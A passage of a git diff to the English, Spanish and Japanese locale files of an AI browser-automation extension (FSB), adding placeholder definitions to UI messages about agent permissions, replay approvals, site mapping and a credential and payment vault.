"Please enter a URL to explore" @@ -2753,13 +2951,23 @@ "message": "Invalid URL format" }, "copy_a6215dba6d": { - "message": "Failed to start explorer: $ERROR$" + "message": "Failed to start explorer: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_284429f90b": { "message": "All crawlers stopped" }, "copy_aee9e10eae": { - "message": "Crawl failed for $DOMAIN$" + "message": "Crawl failed for $DOMAIN$", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_d604ffed30": { "message": "Research data not found" @@ -2792,22 +3000,58 @@ "message": "Refining site map with AI..." }, "copy_00834dcdc3": { - "message": "Site map for $DOMAIN$: $PAGES$ pages, $FORMS$ forms (AI enhanced)" + "message": "Site map for $DOMAIN$: $PAGES$ pages, $FORMS$ forms (AI enhanced)", + "placeholders": { + "domain": { + "content": "$1" + }, + "pages": { + "content": "$2" + }, + "forms": { + "content": "$3" + } + } }, "copy_a249e56325": { - "message": "Site map saved and refined for $DOMAIN$" + "message": "Site map saved and refined for $DOMAIN$", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_237923127b": { - "message": "Site map saved for $DOMAIN$ (refinement returned no data)" + "message": "Site map saved for $DOMAIN$ (refinement returned no data)", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_35d9e0c46c": { - "message": "Site map saved (AI refinement failed: $ERROR$)" + "message": "Site map saved (AI refinement failed: $ERROR$)", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c8c83ca919": { - "message": "Site map saved to memory for $DOMAIN$" + "message": "Site map saved to memory for $DOMAIN$", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_c32ea6d22f": { - "message": "Failed to save to memory: $ERROR$" + "message": "Failed to save to memory: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_963ba004ea": { "message": "Are you sure you want to delete ALL research results? This cannot be undone." @@ -2828,7 +3072,12 @@ "message": "Failed to generate hash key" }, "copy_52b3b70484": { - "message": "Cannot connect to server: $ERROR$" + "message": "Cannot connect to server: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cbdbc53db1": { "message": "No hash key to copy" @@ -2858,10 +3107,20 @@ "message": "Malformed pairing response" }, "copy_30fa7c27e5": { - "message": "Could not generate pairing code: $ERROR$" + "message": "Could not generate pairing code: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_acce51c1d3": { - "message": "Could not register hash key: $ERROR$" + "message": "Could not register hash key: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cb4c956be2": { "message": "Delete this memory?" @@ -2891,7 +3150,12 @@ "message": "Site map refined successfully" }, "copy_a266f3a3ce": { - "message": "AI refinement failed: $ERROR$" + "message": "AI refinement failed: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0b0bdbabab": { "message": "Delete ALL memories? This cannot be undone." @@ -2900,7 +3164,12 @@ "message": "All memories cleared" }, "copy_e158cd5a5e": { - "message": "Failed to clear memories: $ERROR$" + "message": "Failed to clear memories: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_21ce69d58b": { "message": "Remote control active" diff --git a/extension/_locales/es/messages.json b/extension/_locales/es/messages.json index 1705c81d9..6c573d85e 100644 --- a/extension/_locales/es/messages.json +++ b/extension/_locales/es/messages.json @@ -2171,10 +2171,20 @@ "message": "No puede editar archivos, ejecutar comandos de shell ni obtener URL arbitrarias." }, "copy_65974683e8": { - "message": "Confiar en $NAME$ para futuras ejecuciones" + "message": "Confiar en $NAME$ para futuras ejecuciones", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_a9780e01fc": { - "message": "Esto desactiva la confirmación para futuras ejecuciones de $NAME$ en este navegador." + "message": "Esto desactiva la confirmación para futuras ejecuciones de $NAME$ en este navegador.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_88cad98751": { "message": "No se pudo guardar la preferencia de confirmación. Inténtalo de nuevo o continúa sin confianza." @@ -2183,7 +2193,12 @@ "message": "No se pudo iniciar el agente. Revisa el permiso e inténtalo de nuevo." }, "copy_02df469915": { - "message": "Permitir e iniciar $NAME$" + "message": "Permitir e iniciar $NAME$", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_63b90cc26c": { "message": "El asistente nativo está emparejado con otra extensión" @@ -2204,7 +2219,12 @@ "message": "El proveedor seleccionado no admite agentes que controlen pestañas del navegador. Elige un proveedor de agentes compatible y vuelve a intentar este mensaje." }, "copy_664ba782e6": { - "message": "Inicia sesión en $NAME$ localmente y vuelve a intentar este mensaje." + "message": "Inicia sesión en $NAME$ localmente y vuelve a intentar este mensaje.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_1c5510dd75": { "message": "Probar conexión puede seguir teniendo éxito porque no inicia una ejecución delegada. Reintenta el mensaje o revisa la configuración del proveedor." @@ -2246,7 +2266,12 @@ "message": "Instala o actualiza el asistente nativo de FSB e inténtalo de nuevo. FSB conectará este navegador automáticamente." }, "copy_87db7a3927": { - "message": "FSB no pudo devolver esta pestaña a $NAME$, así que la ejecución terminó y la pestaña sigue bajo tu control. Inicia una tarea nueva cuando estés listo." + "message": "FSB no pudo devolver esta pestaña a $NAME$, así que la ejecución terminó y la pestaña sigue bajo tu control. Inicia una tarea nueva cuando estés listo.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_d1708202db": { "message": "Reintentar el mensaje" @@ -2270,19 +2295,39 @@ "message": "Termina la limpieza pendiente del agente en su pestaña y conversación originales antes de iniciar otra tarea. Tu mensaje se conservó." }, "copy_b3715a6900": { - "message": "FSB no pudo devolver esta pestaña a $NAME$, así que la ejecución terminó y la pestaña sigue bajo tu control." + "message": "FSB no pudo devolver esta pestaña a $NAME$, así que la ejecución terminó y la pestaña sigue bajo tu control.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_47220517c7": { "message": "El asistente local de FSB no está instalado. Ejecuta: npx -y fsb-mcp-server@latest install --native-host" }, "copy_d0b5d103f7": { - "message": "Iniciando reconocimiento en $DOMAIN$..." + "message": "Iniciando reconocimiento en $DOMAIN$...", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_7654da628e": { - "message": "El reconocimiento no pudo iniciarse: $ERROR$" + "message": "El reconocimiento no pudo iniciarse: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ca79bcd4d7": { - "message": "¡Reconocimiento completo! Mapa del sitio guardado para $DOMAIN$." + "message": "¡Reconocimiento completo! Mapa del sitio guardado para $DOMAIN$.", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_0f654a723b": { "message": "La automatización terminó, pero no se proporcionó un resumen. Inténtalo de nuevo si la tarea no se completó como esperabas." @@ -2324,22 +2369,47 @@ "message": "Omitiendo el paso de reproducción..." }, "copy_2d7848007e": { - "message": "No se pudo aplicar la decisión de reproducción: $ERROR$" + "message": "No se pudo aplicar la decisión de reproducción: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d3db7357d": { "message": "Bloqueado · entrada ocultada" }, "copy_4916a64c38": { - "message": "Un cliente MCP solicitó esta reproducción en $COUNT$ pestaña nueva." + "message": "Un cliente MCP solicitó esta reproducción en $COUNT$ pestaña nueva.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_c15b9f2acd": { - "message": "Un cliente MCP solicitó esta reproducción en $COUNT$ pestañas nuevas." + "message": "Un cliente MCP solicitó esta reproducción en $COUNT$ pestañas nuevas.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_552d4905b4": { - "message": "Una aprobación cubre solo el manifiesto verificado exacto, incluido $COUNT$ paso de alto impacto." + "message": "Una aprobación cubre solo el manifiesto verificado exacto, incluido $COUNT$ paso de alto impacto.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c946b4834": { - "message": "Una aprobación cubre solo el manifiesto verificado exacto, incluidos $COUNT$ pasos de alto impacto." + "message": "Una aprobación cubre solo el manifiesto verificado exacto, incluidos $COUNT$ pasos de alto impacto.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_9240c9c130": { "message": "Una aprobación cubre solo el manifiesto verificado exacto." @@ -2351,28 +2421,61 @@ "message": "No se pudo iniciar la reproducción" }, "copy_1a0ef83852": { - "message": "No se pudo iniciar la reproducción solicitada: $ERROR$" + "message": "No se pudo iniciar la reproducción solicitada: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_98db9dc8c5": { "message": "Falló la cancelación de la reproducción" }, "copy_4ed0e5ecba": { - "message": "No se pudo cancelar la solicitud de reproducción: $ERROR$" + "message": "No se pudo cancelar la solicitud de reproducción: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d9f4051eb": { "message": "Falló la verificación de la reproducción" }, "copy_fc1f569fa7": { - "message": "Esta grabación es solo de inspección porque solo están disponibles las últimas $LATEST$ de $TOTAL$ llamadas grabadas. El estado anterior del navegador no se puede reconstruir de forma segura." + "message": "Esta grabación es solo de inspección porque solo están disponibles las últimas $LATEST$ de $TOTAL$ llamadas grabadas. El estado anterior del navegador no se puede reconstruir de forma segura.", + "placeholders": { + "latest": { + "content": "$1" + }, + "total": { + "content": "$2" + } + } }, "copy_a2f62124e7": { - "message": "¿Reproducir esta línea de tiempo verificada en $COUNT$ pestaña nueva?" + "message": "¿Reproducir esta línea de tiempo verificada en $COUNT$ pestaña nueva?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c55f6bc6e": { - "message": "¿Reproducir esta línea de tiempo verificada en $COUNT$ pestañas nuevas?" + "message": "¿Reproducir esta línea de tiempo verificada en $COUNT$ pestañas nuevas?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_dea4fcd3a0": { - "message": "Esta única aprobación cubre el manifiesto firmado exacto: $DETAIL$." + "message": "Esta única aprobación cubre el manifiesto firmado exacto: $DETAIL$.", + "placeholders": { + "detail": { + "content": "$1" + } + } }, "copy_82e80a0531": { "message": "La línea de tiempo contiene solo pasos de lectura y navegación." @@ -2384,7 +2487,12 @@ "message": "No se pudo iniciar la reproducción." }, "copy_816797656b": { - "message": "No se pudo iniciar la reproducción: $ERROR$" + "message": "No se pudo iniciar la reproducción: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6a7fdeaea6": { "message": "No se pudo eliminar el historial de sesiones" @@ -2396,7 +2504,12 @@ "message": "Captura en espera de verificación" }, "copy_712090559d": { - "message": "No se pudo cargar la sesión: $ERROR$" + "message": "No se pudo cargar la sesión: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c249c35164": { "message": "¿Eliminar todo el historial de sesiones? Esto no se puede deshacer." @@ -2408,7 +2521,12 @@ "message": "Tarea completada parcialmente" }, "copy_2786eaaa0e": { - "message": "Restablecer al valor recomendado ($COUNT$)" + "message": "Restablecer al valor recomendado ($COUNT$)", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_03cea39622": { "message": "Escribe el nombre del modelo abajo" @@ -2525,7 +2643,12 @@ "message": "Sin clave de API" }, "copy_ec6c5d7132": { - "message": "Configura tu clave de API de $NAME$ para empezar" + "message": "Configura tu clave de API de $NAME$ para empezar", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_59b831ea1c": { "message": "Se requiere la clave de API" @@ -2543,13 +2666,23 @@ "message": "Instalado y compatible: Grok Build 1.0.4. Las comprobaciones de aislamiento, ACP y OAuth en caché se superaron sin enviar un prompt." }, "copy_aab517a207": { - "message": "Falló la comprobación de compatibilidad: $ERROR$" + "message": "Falló la comprobación de compatibilidad: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b33e732cc1": { "message": "Registros exportados correctamente" }, "copy_11eb704622": { - "message": "Modo de consentimiento para $ORIGIN$" + "message": "Modo de consentimiento para $ORIGIN$", + "placeholders": { + "origin": { + "content": "$1" + } + } }, "copy_7655b9531e": { "message": "Registro de auditoría no disponible" @@ -2603,7 +2736,12 @@ "message": "No se pudieron cargar los eventos de la sesión" }, "copy_952bb703c9": { - "message": "No se pudieron cargar más eventos de la sesión: $ERROR$" + "message": "No se pudieron cargar más eventos de la sesión: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ce10cc25bb": { "message": "Ninguna sesión seleccionada" @@ -2657,7 +2795,12 @@ "message": "No se pudo exportar la sesión" }, "copy_30784a43b1": { - "message": "Error al desbloquear la bóveda: $ERROR$" + "message": "Error al desbloquear la bóveda: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b621934f80": { "message": "Los PIN no coinciden" @@ -2669,13 +2812,23 @@ "message": "No se pudo crear la bóveda" }, "copy_be90a4301c": { - "message": "Error al crear la bóveda: $ERROR$" + "message": "Error al crear la bóveda: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_344e10f557": { "message": "Introduce tu PIN" }, "copy_d8689df745": { - "message": "Error al bloquear la bóveda: $ERROR$" + "message": "Error al bloquear la bóveda: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_025f3d105c": { "message": "El dominio es obligatorio" @@ -2684,25 +2837,55 @@ "message": "Se requiere usuario o contraseña" }, "copy_9afaa0cd06": { - "message": "No se pudo guardar: $ERROR$" + "message": "No se pudo guardar: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_161d5eb702": { - "message": "Error al guardar la credencial: $ERROR$" + "message": "Error al guardar la credencial: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_2be1559933": { - "message": "¿Eliminar la credencial guardada de \"$DOMAIN$\"? Esto no se puede deshacer." + "message": "¿Eliminar la credencial guardada de \"$DOMAIN$\"? Esto no se puede deshacer.", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_742e696153": { - "message": "No se pudo eliminar: $ERROR$" + "message": "No se pudo eliminar: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f91e85ab50": { - "message": "Error al eliminar la credencial: $ERROR$" + "message": "Error al eliminar la credencial: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6ddb0ed270": { "message": "Métodos de pago desbloqueados" }, "copy_c75e2cc897": { - "message": "Error al desbloquear los métodos de pago: $ERROR$" + "message": "Error al desbloquear los métodos de pago: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b69b2dc301": { "message": "Métodos de pago bloqueados" @@ -2711,7 +2894,12 @@ "message": "No se pudieron bloquear los métodos de pago" }, "copy_af2ea4b480": { - "message": "Error al bloquear los métodos de pago: $ERROR$" + "message": "Error al bloquear los métodos de pago: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_38c2cc72e3": { "message": "Introduce tu PIN numérico" @@ -2735,7 +2923,12 @@ "message": "Método de pago guardado" }, "copy_58adb591be": { - "message": "Error al guardar el método de pago: $ERROR$" + "message": "Error al guardar el método de pago: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f03b63954b": { "message": "¿Eliminar este método de pago? Esto no se puede deshacer." @@ -2744,7 +2937,12 @@ "message": "Método de pago eliminado" }, "copy_2a0de92af3": { - "message": "Error al eliminar el método de pago: $ERROR$" + "message": "Error al eliminar el método de pago: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_4f15f65f6e": { "message": "Introduce una URL para explorar" @@ -2753,13 +2951,23 @@ "message": "Formato de URL no válido" }, "copy_a6215dba6d": { - "message": "No se pudo iniciar el explorador: $ERROR$" + "message": "No se pudo iniciar el explorador: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_284429f90b": { "message": "Todos los rastreadores detenidos" }, "copy_aee9e10eae": { - "message": "El rastreo falló para $DOMAIN$" + "message": "El rastreo falló para $DOMAIN$", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_d604ffed30": { "message": "Datos de investigación no encontrados" @@ -2792,22 +3000,58 @@ "message": "Refinando el mapa del sitio con IA..." }, "copy_00834dcdc3": { - "message": "Mapa del sitio de $DOMAIN$: $PAGES$ páginas, $FORMS$ formularios (mejorado con IA)" + "message": "Mapa del sitio de $DOMAIN$: $PAGES$ páginas, $FORMS$ formularios (mejorado con IA)", + "placeholders": { + "domain": { + "content": "$1" + }, + "pages": { + "content": "$2" + }, + "forms": { + "content": "$3" + } + } }, "copy_a249e56325": { - "message": "Mapa del sitio guardado y refinado para $DOMAIN$" + "message": "Mapa del sitio guardado y refinado para $DOMAIN$", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_237923127b": { - "message": "Mapa del sitio guardado para $DOMAIN$ (el refinamiento no devolvió datos)" + "message": "Mapa del sitio guardado para $DOMAIN$ (el refinamiento no devolvió datos)", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_35d9e0c46c": { - "message": "Mapa del sitio guardado (falló el refinamiento con IA: $ERROR$)" + "message": "Mapa del sitio guardado (falló el refinamiento con IA: $ERROR$)", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c8c83ca919": { - "message": "Mapa del sitio guardado en la memoria para $DOMAIN$" + "message": "Mapa del sitio guardado en la memoria para $DOMAIN$", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_c32ea6d22f": { - "message": "No se pudo guardar en la memoria: $ERROR$" + "message": "No se pudo guardar en la memoria: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_963ba004ea": { "message": "¿Seguro que quieres eliminar TODOS los resultados de investigación? Esto no se puede deshacer." @@ -2828,7 +3072,12 @@ "message": "No se pudo generar la clave hash" }, "copy_52b3b70484": { - "message": "No se puede conectar al servidor: $ERROR$" + "message": "No se puede conectar al servidor: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cbdbc53db1": { "message": "No hay clave hash para copiar" @@ -2858,10 +3107,20 @@ "message": "Respuesta de emparejamiento mal formada" }, "copy_30fa7c27e5": { - "message": "No se pudo generar el código de emparejamiento: $ERROR$" + "message": "No se pudo generar el código de emparejamiento: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_acce51c1d3": { - "message": "No se pudo registrar la clave hash: $ERROR$" + "message": "No se pudo registrar la clave hash: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cb4c956be2": { "message": "¿Eliminar esta memoria?" @@ -2891,7 +3150,12 @@ "message": "Mapa del sitio refinado correctamente" }, "copy_a266f3a3ce": { - "message": "Falló el refinamiento con IA: $ERROR$" + "message": "Falló el refinamiento con IA: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0b0bdbabab": { "message": "¿Eliminar TODAS las memorias? Esto no se puede deshacer." @@ -2900,7 +3164,12 @@ "message": "Todas las memorias borradas" }, "copy_e158cd5a5e": { - "message": "No se pudieron borrar las memorias: $ERROR$" + "message": "No se pudieron borrar las memorias: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_21ce69d58b": { "message": "Control remoto activo" diff --git a/extension/_locales/ja/messages.json b/extension/_locales/ja/messages.json index 473bd9e39..5f652f669 100644 --- a/extension/_locales/ja/messages.json +++ b/extension/_locales/ja/messages.json @@ -2171,10 +2171,20 @@ "message": "ファイルの編集、シェルコマンドの実行、任意の URL の取得はできません。" }, "copy_65974683e8": { - "message": "今後の実行で $NAME$ を信頼する" + "message": "今後の実行で $NAME$ を信頼する", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_a9780e01fc": { - "message": "このブラウザでの今後の $NAME$ 実行について確認をオフにします。" + "message": "このブラウザでの今後の $NAME$ 実行について確認をオフにします。", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_88cad98751": { "message": "確認の設定を保存できませんでした。再試行するか、信頼せずに続行してください。" @@ -2183,7 +2193,12 @@ "message": "エージェントを開始できませんでした。権限を確認して再試行してください。" }, "copy_02df469915": { - "message": "$NAME$ を許可して開始" + "message": "$NAME$ を許可して開始", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_63b90cc26c": { "message": "ネイティブヘルパーは別の拡張機能とペアリングされています" @@ -2204,7 +2219,12 @@ "message": "選択したプロバイダーは、ブラウザのタブを操作するエージェントに対応していません。対応するエージェントプロバイダーを選んで、このメッセージを再試行してください。" }, "copy_664ba782e6": { - "message": "ローカルで $NAME$ にサインインしてから、このメッセージを再試行してください。" + "message": "ローカルで $NAME$ にサインインしてから、このメッセージを再試行してください。", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_1c5510dd75": { "message": "接続テストは委任実行を開始しないため、成功することがあります。メッセージを再試行するか、プロバイダー設定を確認してください。" @@ -2246,7 +2266,12 @@ "message": "FSB ネイティブヘルパーをインストールまたは更新してから再試行してください。FSB がこのブラウザを自動的に接続します。" }, "copy_87db7a3927": { - "message": "FSB はこのタブを $NAME$ に戻せなかったため、実行は終了し、タブはあなたの制御下に残っています。準備ができたら新しいタスクを開始してください。" + "message": "FSB はこのタブを $NAME$ に戻せなかったため、実行は終了し、タブはあなたの制御下に残っています。準備ができたら新しいタスクを開始してください。", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_d1708202db": { "message": "メッセージを再試行" @@ -2270,19 +2295,39 @@ "message": "別のタスクを始める前に、元のタブと会話で保留中のエージェント後処理を終えてください。メッセージは保持されています。" }, "copy_b3715a6900": { - "message": "FSB はこのタブを $NAME$ に戻せなかったため、実行は終了し、タブはあなたの制御下に残っています。" + "message": "FSB はこのタブを $NAME$ に戻せなかったため、実行は終了し、タブはあなたの制御下に残っています。", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_47220517c7": { "message": "FSB のローカルヘルパーがインストールされていません。実行: npx -y fsb-mcp-server@latest install --native-host" }, "copy_d0b5d103f7": { - "message": "$DOMAIN$ の偵察を開始しています..." + "message": "$DOMAIN$ の偵察を開始しています...", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_7654da628e": { - "message": "偵察を開始できませんでした: $ERROR$" + "message": "偵察を開始できませんでした: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ca79bcd4d7": { - "message": "偵察が完了しました。$DOMAIN$ のサイトマップを保存しました。" + "message": "偵察が完了しました。$DOMAIN$ のサイトマップを保存しました。", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_0f654a723b": { "message": "自動化は完了しましたが、要約がありません。タスクが期待どおりに完了していない場合は再試行してください。" @@ -2324,22 +2369,47 @@ "message": "再生ステップをスキップしています..." }, "copy_2d7848007e": { - "message": "再生の判断を適用できませんでした: $ERROR$" + "message": "再生の判断を適用できませんでした: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d3db7357d": { "message": "ブロック済み · 伏せた入力" }, "copy_4916a64c38": { - "message": "MCP クライアントがこの再生を $COUNT$ 個の新しいタブで要求しました。" + "message": "MCP クライアントがこの再生を $COUNT$ 個の新しいタブで要求しました。", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_c15b9f2acd": { - "message": "MCP クライアントがこの再生を $COUNT$ 個の新しいタブで要求しました。" + "message": "MCP クライアントがこの再生を $COUNT$ 個の新しいタブで要求しました。", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_552d4905b4": { - "message": "1 回の承認は検証済みのマニフェストそのものだけを対象とし、影響の大きいステップ $COUNT$ 個を含みます。" + "message": "1 回の承認は検証済みのマニフェストそのものだけを対象とし、影響の大きいステップ $COUNT$ 個を含みます。", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c946b4834": { - "message": "1 回の承認は検証済みのマニフェストそのものだけを対象とし、影響の大きいステップ $COUNT$ 個を含みます。" + "message": "1 回の承認は検証済みのマニフェストそのものだけを対象とし、影響の大きいステップ $COUNT$ 個を含みます。", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_9240c9c130": { "message": "1 回の承認は検証済みのマニフェストそのものだけを対象とします。" @@ -2351,28 +2421,61 @@ "message": "再生を開始できませんでした" }, "copy_1a0ef83852": { - "message": "要求された再生を開始できませんでした: $ERROR$" + "message": "要求された再生を開始できませんでした: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_98db9dc8c5": { "message": "再生のキャンセルに失敗しました" }, "copy_4ed0e5ecba": { - "message": "再生リクエストをキャンセルできませんでした: $ERROR$" + "message": "再生リクエストをキャンセルできませんでした: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d9f4051eb": { "message": "再生の検証に失敗しました" }, "copy_fc1f569fa7": { - "message": "この記録は検査専用です。記録された呼び出し $TOTAL$ 件のうち最新の $LATEST$ 件だけが利用できます。それより前のブラウザ状態は安全に再構成できません。" + "message": "この記録は検査専用です。記録された呼び出し $TOTAL$ 件のうち最新の $LATEST$ 件だけが利用できます。それより前のブラウザ状態は安全に再構成できません。", + "placeholders": { + "latest": { + "content": "$1" + }, + "total": { + "content": "$2" + } + } }, "copy_a2f62124e7": { - "message": "検証済みのタイムラインを $COUNT$ 個の新しいタブで再生しますか?" + "message": "検証済みのタイムラインを $COUNT$ 個の新しいタブで再生しますか?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c55f6bc6e": { - "message": "検証済みのタイムラインを $COUNT$ 個の新しいタブで再生しますか?" + "message": "検証済みのタイムラインを $COUNT$ 個の新しいタブで再生しますか?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_dea4fcd3a0": { - "message": "この 1 回の承認は、署名済みマニフェストそのものを対象とします: $DETAIL$。" + "message": "この 1 回の承認は、署名済みマニフェストそのものを対象とします: $DETAIL$。", + "placeholders": { + "detail": { + "content": "$1" + } + } }, "copy_82e80a0531": { "message": "タイムラインには読み取りとナビゲーションのステップだけが含まれます。" @@ -2384,7 +2487,12 @@ "message": "再生を開始できませんでした。" }, "copy_816797656b": { - "message": "再生を開始できませんでした: $ERROR$" + "message": "再生を開始できませんでした: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6a7fdeaea6": { "message": "セッション履歴を削除できませんでした" @@ -2396,7 +2504,12 @@ "message": "キャプチャは検証待ちです" }, "copy_712090559d": { - "message": "セッションを読み込めませんでした: $ERROR$" + "message": "セッションを読み込めませんでした: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c249c35164": { "message": "すべてのセッション履歴を削除しますか?この操作は元に戻せません。" @@ -2408,7 +2521,12 @@ "message": "タスクは一部完了しました" }, "copy_2786eaaa0e": { - "message": "推奨値に戻す ($COUNT$)" + "message": "推奨値に戻す ($COUNT$)", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_03cea39622": { "message": "下にモデル名を入力してください" @@ -2525,7 +2643,12 @@ "message": "API キーなし" }, "copy_ec6c5d7132": { - "message": "始めるには $NAME$ の API キーを設定してください" + "message": "始めるには $NAME$ の API キーを設定してください", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_59b831ea1c": { "message": "API キーが必要です" @@ -2543,13 +2666,23 @@ "message": "インストール済みで互換性あり: Grok Build 1.0.4。分離、ACP、キャッシュされた OAuth の確認はプロンプトを送らずに成功しました。" }, "copy_aab517a207": { - "message": "互換性の確認に失敗しました: $ERROR$" + "message": "互換性の確認に失敗しました: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b33e732cc1": { "message": "ログをエクスポートしました" }, "copy_11eb704622": { - "message": "$ORIGIN$ の同意モード" + "message": "$ORIGIN$ の同意モード", + "placeholders": { + "origin": { + "content": "$1" + } + } }, "copy_7655b9531e": { "message": "監査ログを利用できません" @@ -2603,7 +2736,12 @@ "message": "セッションイベントを読み込めませんでした" }, "copy_952bb703c9": { - "message": "追加のセッションイベントを読み込めませんでした: $ERROR$" + "message": "追加のセッションイベントを読み込めませんでした: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ce10cc25bb": { "message": "セッションが選択されていません" @@ -2657,7 +2795,12 @@ "message": "セッションをエクスポートできませんでした" }, "copy_30784a43b1": { - "message": "保管庫のロック解除エラー: $ERROR$" + "message": "保管庫のロック解除エラー: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b621934f80": { "message": "PIN が一致しません" @@ -2669,13 +2812,23 @@ "message": "保管庫を作成できませんでした" }, "copy_be90a4301c": { - "message": "保管庫の作成エラー: $ERROR$" + "message": "保管庫の作成エラー: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_344e10f557": { "message": "PIN を入力してください" }, "copy_d8689df745": { - "message": "保管庫のロックエラー: $ERROR$" + "message": "保管庫のロックエラー: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_025f3d105c": { "message": "ドメインは必須です" @@ -2684,25 +2837,55 @@ "message": "ユーザー名またはパスワードが必要です" }, "copy_9afaa0cd06": { - "message": "保存に失敗しました: $ERROR$" + "message": "保存に失敗しました: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_161d5eb702": { - "message": "資格情報の保存エラー: $ERROR$" + "message": "資格情報の保存エラー: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_2be1559933": { - "message": "「$DOMAIN$」の保存済み資格情報を削除しますか?この操作は元に戻せません。" + "message": "「$DOMAIN$」の保存済み資格情報を削除しますか?この操作は元に戻せません。", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_742e696153": { - "message": "削除に失敗しました: $ERROR$" + "message": "削除に失敗しました: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f91e85ab50": { - "message": "資格情報の削除エラー: $ERROR$" + "message": "資格情報の削除エラー: $ERROR$", + "placeholders": { + "error": { + "content": 